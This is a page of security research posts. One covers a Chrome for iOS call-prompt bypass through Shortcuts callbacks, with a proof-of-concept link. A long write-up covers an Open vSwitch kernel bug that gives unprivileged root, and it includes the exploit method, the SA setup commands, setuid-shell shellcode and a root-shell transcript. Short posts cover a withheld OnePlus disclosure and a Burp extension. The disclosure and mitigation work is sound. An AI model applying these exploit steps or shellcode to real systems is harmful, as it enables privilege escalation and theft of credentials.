One Tap Too Far: Using Shortcuts to Bypass Chrome for iOS Call Prompts

TL;DR

While testing deep links in Chrome for iOS, we noticed a small but important difference. Opening a third-party app through a custom URL scheme normally produced a confirmation prompt. Shortcuts were an exception. As they’re handled by a native Apple app, Chrome allowed shortcuts:// and its legacy workflow:// alias to open without showing the same prompt.

At first, this looked like a minor inconsistency. It became more interesting once we looked at Shortcuts’ callback support. A webpage could send the user to Shortcuts and provide a second URL for Shortcuts to open afterwards. That second URL could be tel:. Although Chrome protected direct tel: navigations with user-interaction checks, it never saw the callback coming from Shortcuts. A single click on a webpage could therefore reach the phone handler without going through Chrome’s normal check for the final URL. This vulnerability was assigned CVE-2026-13795.

The fix was to show a prompt before opening any Shortcuts or Workflow URL.

Background: external schemes and Chrome’s launch policy

Chrome has an app-launch layer between a web navigation and a deep-link redirect. Before handing control to another app, the browser checks whether the navigation came from the user, whether Chrome is in Incognito mode, and whether it needs to show an alert.

In a normal browsing session, a direct link to a third-party custom scheme triggered an app-launch confirmation. The user had to tap again to approve the handoff. Shortcuts did not trigger this prompt. Chrome treated it as a trusted Apple application even though its URL scheme accepts callback parameters that can lead to another app.

Chrome also had explicit handling for tel: URLs. A recent user gesture had to exist before the request could be passed on, preventing a page from turning an unrelated navigation into a call request. A direct tel: URL went through this code; a tel: URL opened later by Shortcuts did not.

Source: app_launcher_tab_helper.mm

if (!(is_user_initiated ||
        (url.SchemeIs(url::kTelScheme) && user_tapped_recently))) {
    ShowAppLaunchAlert(AppLauncherAlertCause::kNoUserInteraction, url);
    return;
}

The expected path looked like this:

web navigation → Chrome app-launch policy → user decision, if required → UIApplication openURL

The problem was that Chrome checked the first URL in the chain, while the second URL caused the sensitive action.

Shortcuts and x-callback-url

The Shortcuts app accepts shortcuts:// and workflow:// URLs. Its run-shortcut endpoint supports the x-callback-url convention:

  • x-success specifies a URL to open after successful execution.
  • x-cancel specifies a URL to open after cancellation.
  • x-error specifies a URL to open after an error.

These parameters contain actual URLs, not just status labels. When Shortcuts receives a run-shortcut request, it reads the query string and keeps the supplied callbacks while the shortcut runs. Once the shortcut finishes, fails, or is cancelled, Shortcuts opens the callback associated with that outcome. The destination does not have to be an http or https URL; it can be another app’s custom scheme.

For x-cancel, the relevant sequence is:

Shortcuts receives run-shortcut?x-cancel=<callback>
  → stores <callback> as the cancellation destination
  → starts, or presents, the requested shortcut
  → shortcut execution is cancelled
  → Shortcuts asks iOS to open <callback>

This second handoff never returns to Chrome. Shortcuts asks iOS to open the callback directly, so Chrome has no opportunity to apply its tel: policy to it.

The vulnerable callback chain

The following example uses x-error. The callback is URL-encoded because it is itself a URL inside the query string:

<a href="shortcuts://run-shortcut?name=nonexistent&x-error=tel%3A%2F%2FPHONE_NUMBER">
  Continue
</a>

When the deeplink is called, the chain is:

1. The victim taps the link in Chrome.
2. Chrome opens shortcuts:// without its app-launch alert.
3. Shortcuts parses x-error and records tel://PHONE_NUMBER as its error callback.
4. The requested shortcut errors, as the shortcut does not exist.
5. Shortcuts processes x-error and opens tel://PHONE_NUMBER.
6. iOS hands the telephone request to its registered handler.

Chrome was involved in step 2, but not in step 5. It approved a navigation to an Apple app; the webpage still controlled the tel: URL that Shortcuts opened later.

The same behavior applies to all three callbacks.

Security impact

A webpage could use this behavior to open the URL scheme of an installed app after a single click, without Chrome confirming the final destination.

The clearest example we found was tel:. Chrome guarded direct telephone URLs because a webpage should not be able to turn a navigation into a call request without the expected interaction. Routing the URL through Shortcuts skipped that guard. The same technique also worked with facetime:. The final behavior depended on iOS, the installed app, and the target URL, but Chrome no longer had control over the last step.

This was an app-launch permission bypass. The visible navigation went to one app, while the webpage supplied a second, potentially action-oriented destination.


Remediation

The Chromium fix, Show alert before opening a shortcuts URL, moved the check to the first handoff. Chrome now shows an alert before opening any shortcuts:// or workflow:// URL.

Prompting at this point avoids having to parse every possible callback. It covers x-error, x-success, x-cancel, nested Shortcuts URLs, and any similar callback behavior added in the future.

The resulting flow is:

web navigation → Chrome confirmation for Shortcuts/Workflow → UIApplication opens Shortcuts

If the user declines, the callback chain never starts. If the user accepts, the handoff to Shortcuts is explicit.

References


The skb that wasn't freed - the Fragnesia primitive via Open vSwitch

TLDR: Exploit. This is a deterministic local privilege escalation affecting the default install of the latest Arch, Fedora, Debian, Amazon Linux and RHEL distributions, having unprivileged user namespaces enabled, openvswitch auto-loading, and a stock kernel carrying the Fragnesia fix. The issue has been public since 08/13/2026 on netdev, and the fix landed in mainline and shipped in stable on 09/04/2026.

Introduction

Earlier this year a small family of Linux kernel bugs appeared, starting with Copy Fail. Unlike standard memory corruption, their defining feature was that an unprivileged user could overwrite read-only memory mappings simply through legitimate operations, without any race condition or strict timing. That made privilege escalation to root relatively trivial. Copy Fail was followed a week later by Dirty Frag (also called Copy Fail 2), and then by variants such as Fragnesia and DirtyDecrypt.

Fragnesia showed that an unprivileged user could get the kernel to decrypt an ESP packet in place, on top of page-cache pages the user is only allowed to read. The result is a Dirty COW-class primitive, where attacker-chosen bytes end up in the page cache of a root-owned file. Fragnesia reached it through the TCP coalesce path, where skb_try_coalesce() drops the shared-frag marker. Dirty Frag had reached the page cache by two complementary routes. One was the ESP-in-UDP datagram splice path (CVE-2026-43284), the other rxkad_verify_packet_1() (CVE-2026-43500). DirtyDecrypt (also DirtyCBC) landed a structurally similar write in rxgk_decrypt_skb(), in the RxRPC subsystem.

The skb-side bugs all share one weak point, an in-place decrypt running over frags the kernel does not privately own. The Dirty Frag fixes turned that into an explicit rule that ownership is carried by a single flag, SKBFL_SHARED_FRAG, and every in-place-decrypt consumer is expected to check it via skb_has_shared_frag() and take a private copy if needed before writing. Fragnesia is what happens when that flag is lost on a live packet, and the decrypt writes straight over the shared page.

This post describes a new way to lose that flag. We found that Open vSwitch strips SKBFL_SHARED_FRAG from a packet it is still forwarding, which re-opens the exact primitive the Fragnesia fix was meant to close. We reported it to the kernel security team and coordinated the fix with the Open vSwitch maintainers. This is tracked as CVE-2026-90049, CVE-2026-89487 and CVE-2026-80977.

The write technique is the same one Fragnesia used, and we credit it to that work. We walk through it here for completeness. The new element is the trigger.

Open vSwitch architecture

Open vSwitch is the software switch that most virtualization and container stacks use to move packets between VMs, containers, and physical NICs. If you have ever run OpenStack Neutron, oVirt, a Kubernetes CNI like Antrea or OVN-Kubernetes, or plain libvirt with a bridge, there is a good chance OVS was doing the forwarding. It is split into two halves.

The userspace half is ovs-vswitchd, the control plane. It communicates with a controller via OpenFlow, holds the full flow tables, and decides what should happen to a packet it has never seen before. The kernel half is openvswitch.ko, the datapath. It holds no policy of its own, only a table of masked (“megaflow”) entries fronted by a mask cache, each entry pairing a match key with a list of actions to execute. Ports attached to the datapath are called vports, and they can be real netdevs, tunnel devices, or an internal port that looks like a normal interface to the local IP stack.

The two halves are wired together with generic netlink. openvswitch.ko registers six families in dp_genl_families[], four of which matter here. ovs_datapath creates and deletes datapaths, ovs_vport attaches interfaces to them, ovs_flow installs match/action entries, and ovs_packet carries packets between the datapath and the daemon. When a packet arrives and no cached flow matches, the datapath performs an upcall. It copies the packet plus its parsed metadata into an OVS_PACKET_CMD_MISS message and queues it to the portid that ovs-vswitchd registered. Nothing blocks, as ovs_dp_upcall() hands the message off and returns, and the daemon comes back asynchronously with OVS_PACKET_CMD_EXECUTE and a flow to install. This is the flow-miss path. A failed upcall there means the packet is dropped.

There is a second way into the same code. A flow’s action list can contain OVS_ACTION_ATTR_USERSPACE, which dispatches a copy of the packet to a userspace portid in the middle of the action pipeline (as an OVS_PACKET_CMD_ACTION message) and then keeps executing the remaining actions. This is how sFlow and IPFIX sampling work, and how a controller gets a copy of interesting traffic without taking the packet out of the pipeline. The important part is that the packet is only borrowed. The upcall must not mutate it, because the datapath is going to keep forwarding the very same skb through the actions that follow.

Two properties of OVS make it interesting as an unprivileged attack surface. First, the module is autoloadable on every distribution we looked at, and it loads on the first genl family resolution, so no CAP_SYS_MODULE is needed. Second, every mutating OVS genl operation is marked GENL_UNS_ADMIN_PERM rather than GENL_ADMIN_PERM, which means the owner of a user namespace is allowed to perform it inside that namespace. We do not need ovs-vsctl, the daemon, or root. A few hundred lines of raw netlink from inside unshare -Urn are enough to build a datapath, attach a port, and install a flow with any action list we choose.

Background: the marker and the fast path

SKBFL_SHARED_FRAG lives in the skb shared-info flags, and it is a member of the SKBFL_ALL_ZEROCOPY group:

// include/linux/skbuff.h
enum {
    SKBFL_ZEROCOPY_ENABLE   = BIT(0),
    SKBFL_SHARED_FRAG       = BIT(1),
    SKBFL_PURE_ZEROCOPY     = BIT(2),
    SKBFL_DONT_ORPHAN       = BIT(3),
    SKBFL_MANAGED_FRAG_REFS = BIT(4),
};

#define SKBFL_ZEROCOPY_FRAG  (SKBFL_ZEROCOPY_ENABLE | SKBFL_SHARED_FRAG)
#define SKBFL_ALL_ZEROCOPY   (SKBFL_ZEROCOPY_FRAG | SKBFL_PURE_ZEROCOPY | \
                              SKBFL_DONT_ORPHAN | SKBFL_MANAGED_FRAG_REFS)

The Dirty Frag fix (f4c50a4034e6, “xfrm: esp: avoid in-place decrypt on shared skb frags”, Kuan-Ting Chen) taught esp_input() to check the marker before taking its no-copy fast path. The excerpt below is the IPv4 path, net/ipv6/esp6.c carries the equivalent gate.

// net/ipv4/esp4.c  (esp_input, paraphrased)
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb))
        /* linear: decrypt in place */ ;
    else if (!skb_has_frag_list(skb) &&
             !skb_has_shared_frag(skb))          // [1]
        /* nonlinear but privately owned: decrypt in place */ ;
}
...
/* otherwise: skb_cow_data() -> decrypt over a private copy */

At [1], if SKBFL_SHARED_FRAG is set, the fast path is skipped and the frags are copied first.

Fragnesia was a case of the flag being dropped before it reached [1]. skb_try_coalesce() transferred paged frags from one skb to another without carrying the marker across. William Bowling’s fix (f84eca58, “net: skbuff: preserve shared-frag marker during coalescing”) propagates it in two lines, and lists f4c50a4034e6 in its Fixes: trailer.

Then Hyunwoo Kim swept up the rest. 48f6a535 (“net: skbuff: propagate shared-frag marker through frag-transfer helpers”) found the same omission in __pskb_copy_fclone(), skb_shift(), skb_gro_receive(), skb_gro_receive_list(), tcp_clone_payload(), and skb_segment(). The commit message is worth reading in full, because it spells out how little is needed to reach the primitive. A single nft dup to <local> rule lands an skb returned by pskb_copy() in esp_input() with the marker stripped, as does any other nf_dup_ipv4() or xt_TEE caller.

So the invariant is maintained in two ways: consumers check the flag, and every path that moves frags between skbs preserves it. The second was established by enumerating the helpers that transfer frag descriptors and making each one carry the marker across.

The enumeration does not, however, cover a path that moves no frags at all. Suppose code took a correctly marked skb, transferred nothing, and simply unset the bit where it sat, on a packet it was still forwarding. That skb takes the in-place branch at [1], and the decrypt writes its output over whatever the frag points at.

Such a path does not have to know anything about shared frags to break the invariant. skb_zcopy_clear() clears SKBFL_ALL_ZEROCOPY in one mask, which is correct for the four bits that describe zerocopy completion. But SKBFL_SHARED_FRAG is in that mask, and it describes page ownership instead.

Root cause analysis

Look at the error path of queue_userspace_packet(), the function behind every upcall, before our fix:

// net/openvswitch/datapath.c  queue_userspace_packet()
    err = skb_zerocopy(user_skb, skb, skb_len, hlen);
    ...
    err = genlmsg_unicast(ovs_dp_get_net(dp), user_skb, upcall_info->portid);
out:
    if (err)
        skb_tx_error(skb);          // [2]
    consume_skb(user_skb);
    consume_skb(nskb);
    return err;

skb_tx_error() is meant to settle the zerocopy state of a packet that failed to transmit, and its kerneldoc is explicit that “skb must be freed afterwards.” It reaches skb_zcopy_clear(), which clears the whole zerocopy group:

/**
 *	skb_tx_error - report an sk_buff xmit error
 *	@skb: buffer that triggered an error
 *
 *	Report xmit error if a device callback is tracking this skb.
 *	skb must be freed afterwards.
 */
void skb_tx_error(struct sk_buff *skb)
{
	if (skb) {
		skb_zcopy_downgrade_managed(skb);
		skb_zcopy_clear(skb, true);
	}
}

// include/linux/skbuff.h
static inline void skb_zcopy_clear(struct sk_buff *skb, bool zerocopy_success)
{
    struct ubuf_info *uarg = skb_zcopy(skb);
    if (uarg) {
        if (!skb_zcopy_is_nouarg(skb))
            uarg->ops->complete(skb, uarg, zerocopy_success);
        // [3] SHARED_FRAG goes with it
        skb_shinfo(skb)->flags &= ~SKBFL_ALL_ZEROCOPY;    
    }
}

[3] clears two independent facts in one statement. One is the ubuf lifecycle state, the other is SKBFL_SHARED_FRAG, which marks page ownership. The kerneldoc’s contract makes this safe for a caller that immediately frees the skb, and almost all skb_tx_error() callers do exactly that.

Open vSwitch is the exception. On the action-execution side, do_execute_actions() discards the return value of the upcall and keeps forwarding the same skb:

// net/openvswitch/actions.c  do_execute_actions(), OVS_ACTION_ATTR_USERSPACE
    output_userspace(dp, skb, key, a, attr,
                                len, OVS_CB(skb)->cutlen);  // [4] result ignored
    OVS_CB(skb)->cutlen = U32_MAX;
    ...
    break;                                                  // skb lives on

So the sequence is this. A flow whose actions are [USERSPACE(...), OUTPUT(...)] runs the upcall at [4], the upcall fails, skb_tx_error() strips SKBFL_SHARED_FRAG at [2] and [3], and the packet proceeds to OUTPUT. It is now unmarked, with its foreign frags still attached. If that output leads to a local ESP delivery, esp_input() sees no marker and decrypts in place, before the tag is checked.

One constraint shapes what can reach this. [3] only fires when skb_zcopy() returns non-NULL, which requires SKBFL_ZEROCOPY_ENABLE. An skb carrying SKBFL_SHARED_FRAG alone is left untouched, so the splice producer used by Dirty Frag and Fragnesia cannot reach this path. MSG_ZEROCOPY can, because it sets SKBFL_ZEROCOPY_FRAG, which has both SKBFL_ZEROCOPY_ENABLE and SKBFL_SHARED_FRAG.

Reaching it as an unprivileged user

Three preconditions have to be met from an unprivileged context.

The first is CAP_NET_ADMIN in a namespace. As described above, all Open vSwitch generic-netlink operations are GENL_UNS_ADMIN_PERM, so unshare -Urn gives us a user and network namespace where we are root-in-userns with CAP_NET_ADMIN over our own netns. Unprivileged user namespaces are currently enabled by default on most distributions.

The second is the openvswitch module. This is easy to fulfill, as asking the kernel to resolve the ovs_datapath family autoloads it.

The third is a page-cache frag that keeps its marker. We build the packet with MSG_ZEROCOPY over a PROT_READ, MAP_SHARED mapping of a root-owned file. The pinned pages are the file’s page-cache folios, and the resulting skb carries them as a frag with flags 0xb:

SKBFL_ZEROCOPY_ENABLE | SKBFL_SHARED_FRAG | SKBFL_DONT_ORPHAN

SKBFL_DONT_ORPHAN is what keeps the frag foreign. When Open vSwitch copies the packet into the upcall message it calls skb_zerocopy(), which would ordinarily replace the shared pages with kernel-owned copies. But:

// include/linux/skbuff.h
static inline int skb_orphan_frags(struct sk_buff *skb, gfp_t gfp_mask)
{
    if (likely(!skb_zcopy(skb)))                    return 0;
    if (skb_shinfo(skb)->flags & SKBFL_DONT_ORPHAN) return 0;   // [5] no copy
    return skb_copy_ubufs(skb, gfp_mask);
}

MSG_ZEROCOPY sets SKBFL_DONT_ORPHAN, so at [5] the copy is skipped and the foreign page-cache frag survives the upcall intact, right up to the moment skb_tx_error() strips its marker.

Putting it together, the environment is:

  1. A separate netns for the sender, joined to the OVS datapath by a veth pair. The datagram has to leave veth0 and arrive at veth1 on the OVS side. If it loops back locally instead, the kernel copies the borrowed pages and the primitive dies.
  2. A datapath with a flow that upcalls and then forwards: in_port(1),ipv4 -> [USERSPACE(pid=<unbound>), OUTPUT(0)]. Nothing is listening on that portid, so the upcall fails every time, and the failure is what strips the marker at [2] before OUTPUT forwards the same packet onward.
  3. An ESP-in-UDP receiver on the far side, so the forwarded packet is delivered to esp_input(). This is an xfrm state using rfc4106(gcm(aes)) with UDP encapsulation on port 4500.

The sender then does a single sendmsg(MSG_ZEROCOPY) whose iov is [ esp_header | file_page_frag | icv ].

Confirming the strip

Before building any exploitation on top, we confirmed the primitive with a kprobe/kretprobe pair on skb_tx_error(), printing the same skb’s state on entry and return:

[ENTRY ] skb=0xffff8aa101453400 len=1242 data_len=1200 nr_frags=1 flags=0xb comm=zc
[RETURN] skb=0xffff8aa101453400 len=1242 data_len=1200 nr_frags=1 flags=0x0

nr_frags and data_len are unchanged across the call, so the foreign page is still attached, while flags goes from 0xb to 0x0. The marker and the rest of the zerocopy group are gone, but the page-cache frag remains. That is precisely the state esp_input() must never decrypt in place.

From a strip to a chosen write

With the marker gone, the in-place decrypt writes plaintext = ciphertext XOR keystream over the folio. The ciphertext is the file’s own content, which we can read, so the write is computable. With a random keystream it is still only good for corruption. This is where the Fragnesia endgame comes in unchanged. We control the keystream, because we are the one who installed the ESP security association and therefore chose its key.

What the packet looks like

The SA is transport-mode ESP with UDP encapsulation, installed inside our own netns:

ip xfrm state add src 10.99.99.1 dst 10.99.99.2 proto esp spi 0x42434445 mode transport \
    aead 'rfc4106(gcm(aes))' 0x000102030405060708090a0b0c0d0e0f11223344 128 \
    encap espinudp 4500 4500 0.0.0.0

The 20-byte AEAD key is not just an AES key. RFC 4106 §8.1 specifies that the keying material for a 128-bit AES-GCM key is 20 octets, the first 16 being the AES key and the remaining four the salt used in the nonce. So here K = 000102...0f and salt = 11223344. The 128 is the ICV length in bits.

The datagram our sender builds is a valid ESP-in-UDP packet with a deliberately wrong tag:

UDP dport 4500
+---------------+---------------+----------------+--------------+------------+
| SPI (4)       | Seq (4)       | IV (8)         | ciphertext   | ICV (16)   |
| 0x42434445    | per packet    | chosen per pkt | file bytes   | zeros      |
+---------------+---------------+----------------+--------------+------------+
|<--------- owned buffers ---------------------->|<- FOREIGN -->|<- owned -->|

Only the ciphertext region points at the mapped file. The header and the ICV come from our own buffers. The ciphertext is the frag, a descriptor pointing straight at the file’s page-cache page with no copy in between. Within the file, it begins at the byte we intend to modify, so the first keystream byte lands on it.

Where the keystream comes from

GCM is AES in counter mode for confidentiality, plus GHASH over the ciphertext for authentication. Instead of encrypting the data, counter mode encrypts only a counter, and XORs the result against the data. Hence decryption is the same operation as encryption.

For RFC 4106 the 12-byte GCM nonce is salt || IV. At 96 bits, the counter block is that nonce followed by a 32-bit count, starting at 1 and incrementing per block:

counter 1 = salt (4) || IV (8) || be32(1) encrypted, masks GHASH into the tag
counter 2 = salt (4) || IV (8) || be32(2) keystream for payload bytes 0..15
counter 3 = salt (4) || IV (8) || be32(3) keystream for payload bytes 16..31
...

The first block is used for the tag, so the keystream covering the payload starts at count 2. The kernel runs that XOR pass over the destination scatterlist (built from the skb, with the frag included) before comparing the tag. Our ICV is all zeros, so the comparison always fails and the packet is dropped with -EBADMSG - after the bytes have been written into the page-cache folio.

Choosing one byte

Suppose we want byte value P at file offset X, where the file currently holds C. The frag begins at X, so X is payload byte 0 and gets XORed with the first byte of keystream at counter 2. We need an IV whose first keystream byte is C XOR P.

The IV is 8 bytes and nothing constrains it, so we hold most of it fixed and sweep a counter through the rest:

IV = cc cc cc cc  00 00  nn nn
     ^---------^  ^---^  ^---^
       fixed       zero   n = 0..0xffff

For each n we compute the first keystream byte and record the first n that produces each value:

table = array of 256 entries, empty

for n = 0 .. 0xffff:
    iv = 0xcccccccc || n # as above
    byte = AES_K(salt || iv || be32(2))[0]
    if table[byte] is empty:
        table[byte] = n
    if table is full:
        stop

This is a random search over 256 values, so a few thousand AES blocks typically fill the table, and the 16-bit sweep gives far more candidates than we need. It runs in userspace before a single packet leaves.

Building the table once means every one of the payload bytes costs a single lookup rather than its own search:

n = table[current_byte XOR wanted_byte]

Only one byte per packet is chosen. The rest of the payload comes from the same keystream, so the IV that gives us the byte we want at offset 0 leaves the following bytes as garbage. We advance the frag one byte per packet, so each chosen byte lands on the previous packet’s first garbage byte and overwrites it, building the payload from left to right.

Walking a whole buffer

One byte per packet is fine, because the collateral is bounded and self-repairing:

  • We cap each packet at 32 ciphertext bytes, two AES blocks, so it deposits one chosen byte followed by up to 31 bytes of keystream garbage. The next packet’s chosen byte lands on the first of those garbage bytes, so walking from left to right repairs as it goes.
  • We pread() the target byte again before every packet. The page cache already reflects the earlier writes, so C is always the current value and never a stale one.
  • If a byte already equals its target, we skip it and send no packet at all.
  • Near the end we shrink the payload with esp_len = min(32, len - i), so the final packet carries a single byte and nothing outside [off, off+len) is ever touched.

The net result is a byte-granular, arbitrary, chosen-content write into the page cache of a file the attacker cannot open for writing, at roughly one packet per differing byte, with no brute force and no race.

From a chosen write to a root shell

The page-cache write is transient. The folio is never marked dirty, so it is never written back, and dropping caches, memory pressure, or a reboot restores the on-disk content. That is not a limitation for a local privilege escalation exploit. It only means the target has to be executed while the corrupted page is still resident.

Our proof of concept aims the primitive at an existing setuid-root binary. Every distribution ships several of them (chsh, chfn, newgrp, chage, gpasswd, su, passwd, mount and friends), so there is nothing to plant. shell.sh defaults to /usr/bin/mount and takes any other path as an argument:

./shell.sh                  # hijack /usr/bin/mount
./shell.sh /usr/bin/chfn    # or any other setuid-root binary

Replacing the ELF, not the entry point

An earlier version of the PoC patched a small stub over the target’s ELF entry point. That works, but it has to cope with whatever the target happens to be, which today means a dynamically linked PIE that runs the loader before it ever reaches _start. Overwriting the first 160 bytes of the file with a complete static ELF, as Copy Fail did, is both shorter and independent of the victim binary.

It uses one PT_LOAD segment, read plus execute, mapped at a fixed 0x400000, and no PT_INTERP, so the dynamic loader is not involved at all and there is nothing to relocate.

The payload:

00400078  31c0               xor     eax, eax  {0x0}
0040007a  31ff               xor     edi, edi  {0x0}
0040007c  b069               mov     al, 0x69
0040007e  0f05               syscall ; setuid
00400080  488d3d0f000000     lea     rdi, [rel data_400096]  {"/bin/sh"}
00400087  31f6               xor     esi, esi  {0x0}
00400089  6a3b               push    0x3b {var_8}
0040008b  58                 pop     rax {var_8}  {0x3b}
0040008c  99                 cdq       {0x3b}  {0x0}  {0x3b}
0040008d  0f05               syscall ; execve
0040008f  31ff               xor     edi, edi  {0x0}
00400091  6a3c               push    0x3c {var_8}
00400093  58                 pop     rax {var_8}  {0x3c}
00400094  0f05               syscall ; exit

execve of the setuid binary already gives us euid == 0, and the setuid(0) in front of it turns that into ruid = euid = suid = 0, so the shell has no reason to drop privileges.

The target file has to be at least 160 bytes, which every real binary is, and the write lands entirely within the first page. Which is the page execve reads the ELF header and program headers from.

From namespace to root

The write is performed inside the user namespace, but the root shell is taken outside it. The page cache is not namespaced, so the patched folio is visible to the real uid 1000 that then executes the setuid binary:

$ uname -a
Linux ip-172-31-20-27.ec2.internal 6.12.0-211.53.1.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Sep  6 21:34:46 EDT 2026 x86_64 GNU/Linux

$ id
uid=1001(tbnz) gid=1001(tbnz) groups=1001(tbnz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ ./shell.sh
    DP_NEW tdp0    -> OK (0)
    VPORT_NEW      -> OK (0)
    FLOW_NEW       -> OK (0)
[encap] udp/4500 armed for ESP-in-UDP
[*] /usr/bin/mount patched in page cache - root shell (Ctrl-D to exit and restore):

# id
uid=0(root) gid=1001(tbnz) groups=1001(tbnz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

# head -1 /etc/shadow
root:*:20186:0:99999:7:::

# exit
exit
[+] evicted page cache for /usr/bin/mount -> on-disk content restored

The group id stays at the caller’s, since the stub only calls setuid(0). Only uid and euid matter for reading /etc/shadow and for everything that follows.

On exit the script calls poc evict, which is posix_fadvise(POSIX_FADV_DONTNEED) over the whole file. That drops the never-dirtied pages, the next read pulls the original bytes off disk. The whole thing lives and dies in the page cache.

Impact

On a default install of current Arch, Fedora, Debian, Amazon Linux or RHEL, with unprivileged user namespaces enabled, openvswitch autoloading, and a stock kernel carrying the Fragnesia fix, this is a deterministic unprivileged local privilege escalation. Ubuntu’s default AppArmor unprivileged user namespaces makes the default install not exploitable.

Mitigation

Most desktops, laptops, and servers never run Open vSwitch. On those, block the module from autoloading. It has no reason to load, and stopping it closes the datapath entirely. The block matters even when the module is not currently loaded, because an unprivileged user in a namespace can pull it in on demand just by asking the kernel to resolve the ovs_datapath genl family.

# /etc/modprobe.d/no-openvswitch.conf
install openvswitch /bin/false

Use install openvswitch /bin/false rather than blacklist openvswitch. blacklist suppresses alias-driven autoload but still permits a by-name modprobe, while install blocks both. This only helps if the module is not already resident, so verify with lsmod | grep openvswitch. On a host that has to run OVS this is not an option, and a different fix is needed.

An alternative is to block the ESP layer itself. Without an in-place ESP decrypt there is no write primitive. On a host that does not terminate IPsec:

# /etc/modprobe.d/no-esp.conf
install esp4 /bin/false
install esp6 /bin/false

These autoload through MODULE_ALIAS_XFRM_TYPE(AF_INET, XFRM_PROTO_ESP), i.e., the aliases xfrm-type-2-50 and xfrm-type-10-50. Both may be compiled into the kernel rather than loadable modules on some distributions (check modinfo esp4), in which case this option does not apply.

A third option is to remove the capability source. Unprivileged user namespaces are what give the attacker CAP_NET_ADMIN inside their own netns:

sysctl -w user.max_user_namespaces=0                       # mainline
sysctl -w kernel.unprivileged_userns_clone=0               # Debian and derivatives
sysctl -w kernel.apparmor_restrict_unprivileged_userns=1   # Ubuntu 24.04+, default on

This is the broadest of the three, and the most disruptive. It breaks Flatpak, Podman, browser sandboxes and anything else that builds a sandbox out of namespaces.

At the time of writing, the fix is in mainline and has started landing in stable. Distribution kernels rebuild from stable on their own schedules, so check your vendor’s advisory.

Conclusion

SKBFL_SHARED_FRAG is a single bit guarding a security boundary, that these pages must not be written over in place. It sits inside a flag group that unrelated lifecycle code clears as a unit, without meaning to touch page ownership at all. Fragnesia showed that consumers can be taught to respect the marker. This variant is a reminder that producers and forwarders have to preserve it too, and that the skb must be freed afterwards is a contract easy to violate two subsystems away from the code that wrote it.

After the initial series went to netdev, we discovered that Sashiko, the Linux Foundation’s agentic review system that reviews LKML submissions, had flagged that OVS_ACTION_ATTR_RECIRC reached the same strip through a path the patch did not cover. The fix moved down into skb_tx_error() itself, which must not touch skb_shinfo() state shared with clones. The issue took three patches to close.

We would like to thank the Open vSwitch and networking maintainers for the quick and constructive review, in particular Ilya Maximets, who turned a one-line fix into a set that also closes the sibling strip in skb_zerocopy().

This research was conducted at Doyensec, with AI assistance (Claude).

References

  • PATCH net v4 0/3: net: don’t strip zerocopy frag markers from a forwarded skb - the fix series on netdev.
  • Fragnesia (CVE-2026-46300) - W. Bowling’s ESP in-place-decrypt page-cache write, on the ESP-in-TCP coalesce path.
  • f4c50a4034e6 - xfrm: esp: avoid in-place decrypt on shared skb frags, the consumer-side check this trigger bypasses.
  • 36d5fe6a0007 - core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors, which introduced the Open vSwitch skb_tx_error() call.
  • RFC 4106 - The Use of Galois/Counter Mode (GCM) in IPsec ESP, source for the salt, nonce, and counter layout.
  • Dirty COW (CVE-2016-5195) - the original page-cache-write LPE.
  • Dirty Pipe (CVE-2022-0847) - the same class through pipe_buffer.

Preinstalled but Not Safe. OnePlus OEM App Session Takeover Vulnerability

Change of Plan

9+ months. One unresolved vulnerability. One disclosure published today.

Following a last-minute request from the affected vendor, we’ve temporarily taken the technical details offline and agreed to provide one final, limited window for remediation.

We believe responsible disclosure goes both ways.

The clock is running again ⏰


Introducing Session Switcher. Swap Burp Sessions with One Click!

Session Switcher

Authorization testing is one of the most repetitive, yet critical tasks in web app security testing. Checking for horizontal and vertical privilege escalation, IDORs, and other access control issues requires constantly swapping cookies and headers between different user sessions, a process that is error-prone and often becomes tedious.

Today, we’re excited to release Session Switcher, a Burp Suite extension that lets you save and switch HTTP sessions with just a couple of clicks, right from the request editor.

The Problem

During a typical authorization test, you might very often find yourself needing to to:

  • Copy cookies from one browser session and paste them into Repeater requests
  • Keep track of multiple user roles and their authentication tokens
  • Manually update expired JWTs or session cookies

Doing this manually a couple of times is fine, but having to repeat it multiple times across different endpoints is slow, breaks your focus, and makes it easy to mix up sessions or forget to update expired tokens, potentially leading to false positives and negatives. I don’t know about everyone else, but the number of times I’ve had to go back and replace the cookies again because I wasn’t sure whether I had copied the correct ones is more than I care to admit.

The Solution

Session Switcher adds a Sessions tab directly into Burp’s request editor where you can store named sessions (basically a set of cookies and headers) and swap between them with a single click. Instead of copying and pasting authentication data across requests, you save each user’s session once and then switch to it from a dropdown whenever you need to test a different user/role/tenant. The extension also monitors Proxy traffic and can automatically keep sessions up to date, mirroring the browser, so your stored sessions stay valid throughout the entire engagement.

How Session Switcher Works

Saving Sessions

To save a session, select any request containing the cookies and headers you want to store and click the New button in the Sessions tab of the request editor. The extension automatically extracts all cookies and uncommon headers from that request.

Saving a Session

Switching Sessions

Once you have saved sessions, a session selector appears in the Sessions tab of the request editor. Choose a session from the dropdown and the extension instantly replaces the request’s cookies and headers with the saved ones.

Request Editor with Session Switcher

This works wherever there’s an editable request editor, such as in Repeater and with intercepted Burp Proxy requests. Buttons under the selector let you Edit, Delete, or Update the selected session from the current request, or create a New one.

By default, the session list is filtered to only show sessions matching the current request’s domain, keeping things clean when you have many sessions stored.

Sessions Management Tab

The main Sessions tab lists all sessions stored in your project file, giving you a centralized view to inspect and manage all saved sessions.

Sessions Management Tab

Auto Update Rules

One of the most powerful features is the ability to automatically keep sessions up to date with the current state of the browser. You can define rules that monitor browser traffic going through Burp Proxy and update sessions whenever new cookies or headers are detected.

Auto Update Rules

For example, you could create a rule that tracks all requests containing the X-User: alice header and automatically updates the alice session whenever the cookies change. This means you no longer have to manually update sessions when a JWT expires or you re-authenticate in the browser.

This is the simplest example, but much more complex conditions are available, such as tracking JWTs by payload. Check out the documentation for details.

Settings

If the default behavior doesn’t quite fit your workflow, the settings panel lets you tweak things like how cookies and headers are captured from requests and how they get applied when you switch sessions. Some of the options may be confusing, so make sure to check out the documentation for all the available options and what they do.

Installation

Download the latest .jar from the releases page and load it in Burp as a Java extension.

This extension will also be available on the PortSwigger BApp Store as soon as our submission is approved. Due to the current review backlog, our request has not yet been processed, even though it was submitted on April 29th, 2026.

Note: Session Switcher requires Burp Suite v2025.5 or later.

For the Future

